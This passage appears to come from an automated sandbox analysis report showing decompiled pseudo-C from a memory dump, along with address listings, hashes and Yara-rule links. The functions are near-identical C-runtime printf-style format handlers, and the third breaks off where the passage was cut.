Uniqueness Score: -1.00%

Function 00C6EB04, Relevance: 1.5, Strings: 1, Instructions: 243
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00C6EB04(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed int _t63;
				signed char _t66;
				signed char _t68;
				signed int _t69;
				short _t71;
				void* _t72;
				signed char _t78;
				signed char _t81;
				void* _t86;
				void* _t87;
				signed char _t89;
				signed char _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t97;
				signed int _t100;
				unsigned int _t101;
				signed int _t102;
				void* _t105;
				void* _t107;
				signed int _t112;
				unsigned int _t114;
				signed int* _t116;
				signed char _t117;
				signed int _t125;
				void* _t128;
				signed int _t129;
				short _t130;
				void* _t131;
				intOrPtr* _t132;
				signed int _t133;
				void* _t134;
				void* _t136;
				void* _t137;

				_t128 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t133;
				_t132 = __ecx;
				_t100 = 0;
				_t125 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t107 = 0x58;
				_t136 = _t59 - 0x64;
				if(_t136 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C7369E(_t132);
							L10:
							if(_t61 != 0) {
								_t62 = E00C6BDA9(_t132);
								__eflags = _t62;
								if(_t62 != 0) {
									L71:
									_t63 = 1;
									L72:
									return E00C572B1(_t63, _t100, _v8 ^ _t133, _t125, _t128, _t132);
								}
								__eflags =  *((intOrPtr*)(_t132 + 0x30)) - _t100;
								if( *((intOrPtr*)(_t132 + 0x30)) != _t100) {
									goto L71;
								}
								_t112 = _t100;
								_v16 = _t100;
								_v12 = _t100;
								_t101 =  *(_t132 + 0x20);
								_push(_t128);
								_v20 = _t112;
								_t66 = _t101 >> 4;
								_t129 = 0x20;
								__eflags = 1 & _t66;
								if((1 & _t66) == 0) {
									L47:
									_t125 =  *(_t132 + 0x32) & 0x0000ffff;
									_t130 = 0x78;
									__eflags = _t125 - _t130;
									if(_t125 == _t130) {
										L49:
										_t68 = _t101 >> 5;
										__eflags = _t68 & 0x00000001;
										if((_t68 & 0x00000001) == 0) {
											L51:
											_t102 = 0;
											__eflags = 0;
											L52:
											__eflags = _t125 - 0x61;
											if(_t125 == 0x61) {
												L55:
												_t69 = 1;
												L56:
												_v24 = 0x30;
												__eflags = _t102;
												if(_t102 != 0) {
													L58:
													 *((short*)(_t133 + _t112 * 2 - 0xc)) = _v24;
													_t71 = 0x58;
													__eflags = _t125 - _t71;
													if(_t125 == _t71) {
														L60:
														_t130 = _t71;
														L61:
														 *((short*)(_t133 + _t112 * 2 - 0xa)) = _t130;
														_t112 = _t112 + 2;
														__eflags = _t112;
														_v20 = _t112;
														L62:
														_t72 = _t132 + 0x18;
														_t131 = _t132 + 0x448;
														_t100 =  *((intOrPtr*)(_t132 + 0x24)) -  *((intOrPtr*)(_t132 + 0x38)) - _t112;
														__eflags =  *(_t132 + 0x20) & 0x0000000c;
														if(( *(_t132 + 0x20) & 0x0000000c) == 0) {
															E00C68F0E(_t131, 0x20, _t100, _t72);
															_t112 = _v20;
															_t134 = _t134 + 0x10;
														}
														_push(_t132 + 0xc);
														E00C7564F(_t131,  &_v16, _t112, _t132 + 0x18);
														_t114 =  *(_t132 + 0x20);
														_t78 = _t114 >> 3;
														__eflags = _t78 & 0x00000001;
														if((_t78 & 0x00000001) != 0) {
															_t117 = _t114 >> 2;
															__eflags = _t117 & 0x00000001;
															if((_t117 & 0x00000001) == 0) {
																E00C68F0E(_t131, _v24, _t100, _t132 + 0x18);
																_t134 = _t134 + 0x10;
															}
														}
														E00C75344(_t132, _t125, 0);
														_t116 = _t132 + 0x18;
														__eflags =  *_t116;
														if( *_t116 >= 0) {
															_t81 =  *(_t132 + 0x20) >> 2;
															__eflags = _t81 & 0x00000001;
															if((_t81 & 0x00000001) != 0) {
																E00C68F0E(_t131, 0x20, _t100, _t116);
															}
														}
														_pop(_t128);
														goto L71;
													}
													_t105 = 0x41;
													__eflags = _t125 - _t105;
													if(_t125 != _t105) {
														goto L61;
													}
													goto L60;
												}
												__eflags = _t69;
												if(_t69 == 0) {
													goto L62;
												}
												goto L58;
											}
											_t86 = 0x41;
											__eflags = _t125 - _t86;
											if(_t125 == _t86) {
												goto L55;
											}
											_t69 = 0;
											goto L56;
										}
										_t102 = 1;
										goto L52;
									}
									_t87 = 0x58;
									__eflags = _t125 - _t87;
									if(_t125 != _t87) {
										goto L51;
									}
									goto L49;
								}
								_t89 = _t101 >> 6;
								__eflags = 1 & _t89;
								if((1 & _t89) == 0) {
									__eflags = 1 & _t101;
									if((1 & _t101) == 0) {
										_t91 = _t101 >> 1;
										__eflags = 1 & _t91;
										if((1 & _t91) != 0) {
											_v16 = _t129;
											_t112 = 1;
											_v20 = 1;
										}
										goto L47;
									}
									_push(0x2b);
									L44:
									_pop(_t92);
									_t112 = 1;
									_v16 = _t92;
									_v20 = 1;
									goto L47;
								}
								_push(0x2d);
								goto L44;
							}
							L11:
							_t63 = 0;
							goto L72;
						}
						_t94 = _t60;
						__eflags = _t94;
						if(__eflags == 0) {
							L29:
							_push(_t100);
							_push(0xa);
							L30:
							_t61 = E00C723D2(_t132, __eflags);
							goto L10;
						}
						__eflags = _t94 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C732F3(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C70A70(_t132);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t132 + 0x20;
						 *_t3 =  *(_t132 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C72E4D(__ecx, _t125);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C731B0(__ecx);
					goto L10;
				}
				if(_t136 == 0) {
					goto L28;
				}
				_t137 = _t59 - _t107;
				if(_t137 > 0) {
					_t96 = _t59 - 0x5a;
					__eflags = _t96;
					if(_t96 == 0) {
						_t61 = E00C6FE1B(0, __ecx);
						goto L10;
					}
					_t97 = _t96 - 7;
					__eflags = _t97;
					if(_t97 == 0) {
						goto L31;
					}
					__eflags = _t97 != 0;
					if(_t97 != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C71673(_t132, _t125, _t100);
					goto L10;
				}
				if(_t137 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t125) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6eb04
0x00c6eb0c
0x00c6eb13
0x00c6eb18
0x00c6eb1a
0x00c6eb1e
0x00c6eb21
0x00c6eb25
0x00c6eb26
0x00c6eb29
0x00c6eb96
0x00c6eb99
0x00c6ebf0
0x00c6ebf0
0x00c6ebf3
0x00c6eb57
0x00c6eb59
0x00c6eb5e
0x00c6eb60
0x00c6ec10
0x00c6ec15
0x00c6ec17
0x00c6ed68
0x00c6ed68
0x00c6ed6a
0x00c6ed77
0x00c6ed77
0x00c6ec1d
0x00c6ec20
0x00000000
0x00000000
0x00c6ec26
0x00c6ec28
0x00c6ec2b
0x00c6ec31
0x00c6ec35
0x00c6ec38
0x00c6ec3b
0x00c6ec40
0x00c6ec41
0x00c6ec43
0x00c6ec75
0x00c6ec75
0x00c6ec7b
0x00c6ec7c
0x00c6ec7f
0x00c6ec89
0x00c6ec8b
0x00c6ec8e
0x00c6ec90
0x00c6ec96
0x00c6ec96
0x00c6ec96
0x00c6ec98
0x00c6ec98
0x00c6ec9b
0x00c6eca9
0x00c6eca9
0x00c6ecab
0x00c6ecab
0x00c6ecb2
0x00c6ecb4
0x00c6ecba
0x00c6ecbf
0x00c6ecc4
0x00c6ecc5
0x00c6ecc8
0x00c6ecd2
0x00c6ecd2
0x00c6ecd4
0x00c6ecd4
0x00c6ecd9
0x00c6ecd9
0x00c6ecdc
0x00c6ecdf
0x00c6ece2
0x00c6ece8
0x00c6ecee
0x00c6ecf0
0x00c6ecf4
0x00c6ecfb
0x00c6ed00
0x00c6ed03
0x00c6ed03
0x00c6ed09
0x00c6ed15
0x00c6ed1a
0x00c6ed1f
0x00c6ed22
0x00c6ed24
0x00c6ed26
0x00c6ed29
0x00c6ed2c
0x00c6ed37
0x00c6ed3c
0x00c6ed3c
0x00c6ed2c
0x00c6ed43
0x00c6ed48
0x00c6ed4b
0x00c6ed4e
0x00c6ed53
0x00c6ed56
0x00c6ed58
0x00c6ed5f
0x00c6ed64
0x00c6ed58
0x00c6ed67
0x00000000
0x00c6ed67
0x00c6eccc
0x00c6eccd
0x00c6ecd0
0x00000000
0x00000000
0x00000000
0x00c6ecd0
0x00c6ecb6
0x00c6ecb8
0x00000000
0x00000000
0x00000000
0x00c6ecb8
0x00c6ec9f
0x00c6eca0
0x00c6eca3
0x00000000
0x00000000
0x00c6eca5
0x00000000
0x00c6eca5
0x00c6ec92
0x00000000
0x00c6ec92
0x00c6ec83
0x00c6ec84
0x00c6ec87
0x00000000
0x00000000
0x00000000
0x00c6ec87
0x00c6ec47
0x00c6ec4a
0x00c6ec4c
0x00c6ec52
0x00c6ec54
0x00c6ec66
0x00c6ec68
0x00c6ec6a
0x00c6ec6c
0x00c6ec70
0x00c6ec72
0x00c6ec72
0x00000000
0x00c6ec6a
0x00c6ec56
0x00c6ec58
0x00c6ec58
0x00c6ec59
0x00c6ec5b
0x00c6ec5f
0x00000000
0x00c6ec5f
0x00c6ec4e
0x00000000
0x00c6ec4e
0x00c6eb66
0x00c6eb66
0x00000000
0x00c6eb66
0x00c6ebfa
0x00c6ebfa
0x00c6ebfd
0x00c6ebcc
0x00c6ebcc
0x00c6ebcd
0x00c6ebcf
0x00c6ebd1
0x00000000
0x00c6ebd1
0x00c6ebff
0x00c6ec02
0x00000000
0x00000000
0x00c6ec08
0x00c6eb6f
0x00c6eb6f
0x00000000
0x00c6eb6f
0x00c6eb9b
0x00c6ebe6
0x00000000
0x00c6ebe6
0x00c6eb9d
0x00c6eba0
0x00000000
0x00000000
0x00c6eba2
0x00c6eba5
0x00c6ebd8
0x00c6ebda
0x00000000
0x00c6ebda
0x00c6eba7
0x00c6ebaa
0x00c6ebc8
0x00c6ebc8
0x00c6ebc8
0x00c6ebc8
0x00000000
0x00c6ebc8
0x00c6ebac
0x00c6ebaf
0x00c6ebc1
0x00000000
0x00c6ebc1
0x00c6ebb1
0x00c6ebb4
0x00000000
0x00000000
0x00c6ebb8
0x00000000
0x00c6ebb8
0x00c6eb2b
0x00000000
0x00000000
0x00c6eb31
0x00c6eb33
0x00c6eb73
0x00c6eb73
0x00c6eb76
0x00c6eb8f
0x00000000
0x00c6eb8f
0x00c6eb78
0x00c6eb78
0x00c6eb7b
0x00000000
0x00000000
0x00c6eb7e
0x00c6eb81
0x00000000
0x00000000
0x00c6eb83
0x00c6eb86
0x00000000
0x00c6eb86
0x00c6eb35
0x00c6eb6d
0x00000000
0x00c6eb6d
0x00c6eb39
0x00000000
0x00000000
0x00c6eb42
0x00000000
0x00000000
0x00c6eb47
0x00000000
0x00000000
0x00c6eb4c
0x00000000
0x00000000
0x00c6eb55
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6ECAB

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 19037b4b52f5e3d563329492bdb840b04ed39dac8884ab8f05332af0d6282b25
Instruction ID: a3654fbcf2261457a7d2672b7db8b6eafc7aa81ae51b92c5080ed297ab8962c3
Opcode Fuzzy Hash: 19037b4b52f5e3d563329492bdb840b04ed39dac8884ab8f05332af0d6282b25
Instruction Fuzzy Hash: 9A6145786007096BDF38AF2988D1BBE73A5EB81700F54452FE463DB2D1DA229F46D349

Uniqueness

Uniqueness Score: -1.00%

Function 00C6F4B6, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00C6F4B6(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed char _t65;
				signed char _t67;
				signed int _t68;
				short _t70;
				void* _t71;
				signed char _t77;
				signed char _t80;
				void* _t85;
				void* _t86;
				signed char _t88;
				signed char _t90;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t99;
				unsigned int _t100;
				signed int _t101;
				void* _t104;
				void* _t106;
				signed int _t110;
				unsigned int _t112;
				signed int* _t114;
				signed char _t115;
				signed int _t123;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;
				void* _t134;
				void* _t135;

				_t126 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t131;
				_t130 = __ecx;
				_t99 = 0;
				_t123 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t134 = _t59 - 0x64;
				if(_t134 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C73884(_t130);
							L10:
							if(_t61 != 0) {
								__eflags =  *((intOrPtr*)(_t130 + 0x30)) - _t99;
								if( *((intOrPtr*)(_t130 + 0x30)) != _t99) {
									L70:
									_t62 = 1;
									L71:
									return E00C572B1(_t62, _t99, _v8 ^ _t131, _t123, _t126, _t130);
								}
								_t110 = _t99;
								_v16 = _t99;
								_v12 = _t99;
								_t100 =  *(_t130 + 0x20);
								_push(_t126);
								_v20 = _t110;
								_t65 = _t100 >> 4;
								_t127 = 0x20;
								__eflags = 1 & _t65;
								if((1 & _t65) == 0) {
									L46:
									_t123 =  *(_t130 + 0x32) & 0x0000ffff;
									_t128 = 0x78;
									__eflags = _t123 - _t128;
									if(_t123 == _t128) {
										L48:
										_t67 = _t100 >> 5;
										__eflags = _t67 & 0x00000001;
										if((_t67 & 0x00000001) == 0) {
											L50:
											_t101 = 0;
											__eflags = 0;
											L51:
											__eflags = _t123 - 0x61;
											if(_t123 == 0x61) {
												L54:
												_t68 = 1;
												L55:
												_v24 = 0x30;
												__eflags = _t101;
												if(_t101 != 0) {
													L57:
													 *((short*)(_t131 + _t110 * 2 - 0xc)) = _v24;
													_t70 = 0x58;
													__eflags = _t123 - _t70;
													if(_t123 == _t70) {
														L59:
														_t128 = _t70;
														L60:
														 *((short*)(_t131 + _t110 * 2 - 0xa)) = _t128;
														_t110 = _t110 + 2;
														__eflags = _t110;
														_v20 = _t110;
														L61:
														_t71 = _t130 + 0x18;
														_t129 = _t130 + 0x448;
														_t99 =  *((intOrPtr*)(_t130 + 0x24)) -  *((intOrPtr*)(_t130 + 0x38)) - _t110;
														__eflags =  *(_t130 + 0x20) & 0x0000000c;
														if(( *(_t130 + 0x20) & 0x0000000c) == 0) {
															E00C68F7A(_t129, 0x20, _t99, _t71);
															_t110 = _v20;
															_t132 = _t132 + 0x10;
														}
														_push(_t130 + 0xc);
														E00C756E2(_t129,  &_v16, _t110, _t130 + 0x18);
														_t112 =  *(_t130 + 0x20);
														_t77 = _t112 >> 3;
														__eflags = _t77 & 0x00000001;
														if((_t77 & 0x00000001) != 0) {
															_t115 = _t112 >> 2;
															__eflags = _t115 & 0x00000001;
															if((_t115 & 0x00000001) == 0) {
																E00C68F7A(_t129, _v24, _t99, _t130 + 0x18);
																_t132 = _t132 + 0x10;
															}
														}
														E00C75590(_t130, _t123, 0);
														_t114 = _t130 + 0x18;
														__eflags =  *_t114;
														if( *_t114 >= 0) {
															_t80 =  *(_t130 + 0x20) >> 2;
															__eflags = _t80 & 0x00000001;
															if((_t80 & 0x00000001) != 0) {
																E00C68F7A(_t129, 0x20, _t99, _t114);
															}
														}
														_pop(_t126);
														goto L70;
													}
													_t104 = 0x41;
													__eflags = _t123 - _t104;
													if(_t123 != _t104) {
														goto L60;
													}
													goto L59;
												}
												__eflags = _t68;
												if(_t68 == 0) {
													goto L61;
												}
												goto L57;
											}
											_t85 = 0x41;
											__eflags = _t123 - _t85;
											if(_t123 == _t85) {
												goto L54;
											}
											_t68 = 0;
											goto L55;
										}
										_t101 = 1;
										goto L51;
									}
									_t86 = 0x58;
									__eflags = _t123 - _t86;
									if(_t123 != _t86) {
										goto L50;
									}
									goto L48;
								}
								_t88 = _t100 >> 6;
								__eflags = 1 & _t88;
								if((1 & _t88) == 0) {
									__eflags = 1 & _t100;
									if((1 & _t100) == 0) {
										_t90 = _t100 >> 1;
										__eflags = 1 & _t90;
										if((1 & _t90) != 0) {
											_v16 = _t127;
											_t110 = 1;
											_v20 = 1;
										}
										goto L46;
									}
									_push(0x2b);
									L43:
									_pop(_t91);
									_t110 = 1;
									_v16 = _t91;
									_v20 = 1;
									goto L46;
								}
								_push(0x2d);
								goto L43;
							}
							L11:
							_t62 = 0;
							goto L71;
						}
						_t93 = _t60;
						__eflags = _t93;
						if(__eflags == 0) {
							L29:
							_push(_t99);
							_push(0xa);
							L30:
							_t61 = E00C72986(_t130, __eflags);
							goto L10;
						}
						__eflags = _t93 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C73353(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C7105C(_t130);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t130 + 0x20;
						 *_t3 =  *(_t130 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C73063(__ecx, _t123);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C7322C(__ecx);
					goto L10;
				}
				if(_t134 == 0) {
					goto L28;
				}
				_t135 = _t59 - _t106;
				if(_t135 > 0) {
					_t95 = _t59 - 0x5a;
					__eflags = _t95;
					if(_t95 == 0) {
						_t61 = E00C7007F(__ecx);
						goto L10;
					}
					_t96 = _t95 - 7;
					__eflags = _t96;
					if(_t96 == 0) {
						goto L31;
					}
					__eflags = _t96;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C718F9(_t130, _t123, __eflags, _t99);
					goto L10;
				}
				if(_t135 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t123) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6f4b6
0x00c6f4be
0x00c6f4c5
0x00c6f4ca
0x00c6f4cc
0x00c6f4d0
0x00c6f4d3
0x00c6f4d7
0x00c6f4d8
0x00c6f4db
0x00c6f548
0x00c6f54b
0x00c6f5a2
0x00c6f5a2
0x00c6f5a5
0x00c6f509
0x00c6f50b
0x00c6f510
0x00c6f512
0x00c6f5c0
0x00c6f5c3
0x00c6f70b
0x00c6f70b
0x00c6f70d
0x00c6f71a
0x00c6f71a
0x00c6f5c9
0x00c6f5cb
0x00c6f5ce
0x00c6f5d4
0x00c6f5d8
0x00c6f5db
0x00c6f5de
0x00c6f5e3
0x00c6f5e4
0x00c6f5e6
0x00c6f618
0x00c6f618
0x00c6f61e
0x00c6f61f
0x00c6f622
0x00c6f62c
0x00c6f62e
0x00c6f631
0x00c6f633
0x00c6f639
0x00c6f639
0x00c6f639
0x00c6f63b
0x00c6f63b
0x00c6f63e
0x00c6f64c
0x00c6f64c
0x00c6f64e
0x00c6f64e
0x00c6f655
0x00c6f657
0x00c6f65d
0x00c6f662
0x00c6f667
0x00c6f668
0x00c6f66b
0x00c6f675
0x00c6f675
0x00c6f677
0x00c6f677
0x00c6f67c
0x00c6f67c
0x00c6f67f
0x00c6f682
0x00c6f685
0x00c6f68b
0x00c6f691
0x00c6f693
0x00c6f697
0x00c6f69e
0x00c6f6a3
0x00c6f6a6
0x00c6f6a6
0x00c6f6ac
0x00c6f6b8
0x00c6f6bd
0x00c6f6c2
0x00c6f6c5
0x00c6f6c7
0x00c6f6c9
0x00c6f6cc
0x00c6f6cf
0x00c6f6da
0x00c6f6df
0x00c6f6df
0x00c6f6cf
0x00c6f6e6
0x00c6f6eb
0x00c6f6ee
0x00c6f6f1
0x00c6f6f6
0x00c6f6f9
0x00c6f6fb
0x00c6f702
0x00c6f707
0x00c6f6fb
0x00c6f70a
0x00000000
0x00c6f70a
0x00c6f66f
0x00c6f670
0x00c6f673
0x00000000
0x00000000
0x00000000
0x00c6f673
0x00c6f659
0x00c6f65b
0x00000000
0x00000000
0x00000000
0x00c6f65b
0x00c6f642
0x00c6f643
0x00c6f646
0x00000000
0x00000000
0x00c6f648
0x00000000
0x00c6f648
0x00c6f635
0x00000000
0x00c6f635
0x00c6f626
0x00c6f627
0x00c6f62a
0x00000000
0x00000000
0x00000000
0x00c6f62a
0x00c6f5ea
0x00c6f5ed
0x00c6f5ef
0x00c6f5f5
0x00c6f5f7
0x00c6f609
0x00c6f60b
0x00c6f60d
0x00c6f60f
0x00c6f613
0x00c6f615
0x00c6f615
0x00000000
0x00c6f60d
0x00c6f5f9
0x00c6f5fb
0x00c6f5fb
0x00c6f5fc
0x00c6f5fe
0x00c6f602
0x00000000
0x00c6f602
0x00c6f5f1
0x00000000
0x00c6f5f1
0x00c6f518
0x00c6f518
0x00000000
0x00c6f518
0x00c6f5ac
0x00c6f5ac
0x00c6f5af
0x00c6f57e
0x00c6f57e
0x00c6f57f
0x00c6f581
0x00c6f583
0x00000000
0x00c6f583
0x00c6f5b1
0x00c6f5b4
0x00000000
0x00000000
0x00c6f5ba
0x00c6f521
0x00c6f521
0x00000000
0x00c6f521
0x00c6f54d
0x00c6f598
0x00000000
0x00c6f598
0x00c6f54f
0x00c6f552
0x00000000
0x00000000
0x00c6f554
0x00c6f557
0x00c6f58a
0x00c6f58c
0x00000000
0x00c6f58c
0x00c6f559
0x00c6f55c
0x00c6f57a
0x00c6f57a
0x00c6f57a
0x00c6f57a
0x00000000
0x00c6f57a
0x00c6f55e
0x00c6f561
0x00c6f573
0x00000000
0x00c6f573
0x00c6f563
0x00c6f566
0x00000000
0x00000000
0x00c6f56a
0x00000000
0x00c6f56a
0x00c6f4dd
0x00000000
0x00000000
0x00c6f4e3
0x00c6f4e5
0x00c6f525
0x00c6f525
0x00c6f528
0x00c6f541
0x00000000
0x00c6f541
0x00c6f52a
0x00c6f52a
0x00c6f52d
0x00000000
0x00000000
0x00c6f530
0x00c6f533
0x00000000
0x00000000
0x00c6f535
0x00c6f538
0x00000000
0x00c6f538
0x00c6f4e7
0x00c6f51f
0x00000000
0x00c6f51f
0x00c6f4eb
0x00000000
0x00000000
0x00c6f4f4
0x00000000
0x00000000
0x00c6f4f9
0x00000000
0x00000000
0x00c6f4fe
0x00000000
0x00000000
0x00c6f507
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6F64E

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8b4f534a2ed1399d9a2ceb27f0e89d4d03ee7ec39ddaaf586c732993f0ba5031
Instruction ID: 71b3e1fc3f94feb65e9d36bfb04e959630591afc0761b8b8754f09a4df9443cb
Opcode Fuzzy Hash: 8b4f534a2ed1399d9a2ceb27f0e89d4d03ee7ec39ddaaf586c732993f0ba5031
Instruction Fuzzy Hash: 2961A9B060020996DB38DE68B8D17BE6395AF01300F54493EF463EB2E1D661EF479742

Uniqueness

Uniqueness Score: -1.00%

Function 00C6E89F, Relevance: 1.5, Strings: 1, Instructions: 239
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00C6E89F(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed char _t65;
				signed char _t67;
				signed int _t68;
				short _t70;
				void* _t71;
				signed char _t77;
				signed char _t80;
				void* _t85;
				void* _t86;
				signed char _t88;
				signed char _t90;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t99;
				unsigned int _t100;
				signed int _t101;
				void* _t104;
				void* _t106;
				signed int _t110;
				unsigned int _t112;
				signed int* _t114;
				signed char _t115;
				signed int _t123;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;
				void* _t134;
				void* _t135;

				_t126 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t131;
				_t130 = __ecx;
				_t99 = 0;
				_t123 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t134 = _t59 - 0x64;
				if(_t134 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C7362B(_t130);
							L10:
							if(_t61 != 0) {
								__eflags =  *((intOrPtr*)(_t130 + 0x30)) - _t99;
								if( *((intOrPtr*)(_t130 + 0x30)) != _t99) {
									L70:
									_t62 = 1;
									L71:
									return E00C572B1(_t62, _t99, _v8 ^ _t131, _t123, _t126, _t130);
								}
								_t110 = _t99;
								_v16 = _t99;
								_v12 = _t99;
								_t100 =  *(_t130 + 0x20);
								_push(_t126);
								_v20 = _t110;
								_t65 = _t100 >> 4;
								_t127 = 0x20;
								__eflags = 1 & _t65;
								if((1 & _t65) == 0) {
									L46:
									_t123 =  *(_t130 + 0x32) & 0x0000ffff;
									_t128 = 0x78;
									__eflags = _t123 - _t128;
									if(_t123 == _t128) {
										L48:
										_t67 = _t100 >> 5;
										__eflags = _t67 & 0x00000001;
										if((_t67 & 0x00000001) == 0) {
											L50:
											_t101 = 0;
											__eflags = 0;
											L51:
											__eflags = _t123 - 0x61;
											if(_t123 == 0x61) {
												L54:
												_t68 = 1;
												L55:
												_v24 = 0x30;
												__eflags = _t101;
												if(_t101 != 0) {
													L57:
													 *((short*)(_t131 + _t110 * 2 - 0xc)) = _v24;
													_t70 = 0x58;
													__eflags = _t123 - _t70;
													if(_t123 == _t70) {
														L59:
														_t128 = _t70;
														L60:
														 *((short*)(_t131 + _t110 * 2 - 0xa)) = _t128;
														_t110 = _t110 + 2;
														__eflags = _t110;
														_v20 = _t110;
														L61:
														_t71 = _t130 + 0x18;
														_t129 = _t130 + 0x448;
														_t99 =  *((intOrPtr*)(_t130 + 0x24)) -  *((intOrPtr*)(_t130 + 0x38)) - _t110;
														__eflags =  *(_t130 + 0x20) & 0x0000000c;
														if(( *(_t130 + 0x20) & 0x0000000c) == 0) {
															E00C68F0E(_t129, 0x20, _t99, _t71);
															_t110 = _v20;
															_t132 = _t132 + 0x10;
														}
														_push(_t130 + 0xc);
														E00C7564F(_t129,  &_v16, _t110, _t130 + 0x18);
														_t112 =  *(_t130 + 0x20);
														_t77 = _t112 >> 3;
														__eflags = _t77 & 0x00000001;
														if((_t77 & 0x00000001) != 0) {
															_t115 = _t112 >> 2;
															__eflags = _t115 & 0x00000001;
															if((_t115 & 0x00000001) == 0) {
																E00C68F0E(_t129, _v24, _t99, _t130 + 0x18);
																_t132 = _t132 + 0x10;
															}
														}
														E00C752B1(_t130, _t123, 0);
														_t114 = _t130 + 0x18;
														__eflags =  *_t114;
														if( *_t114 >= 0) {
															_t80 =  *(_t130 + 0x20) >> 2;
															__eflags = _t80 & 0x00000001;
															if((_t80 & 0x00000001) != 0) {
																E00C68F0E(_t129, 0x20, _t99, _t114);
															}
														}
														_pop(_t126);
														goto L70;
													}
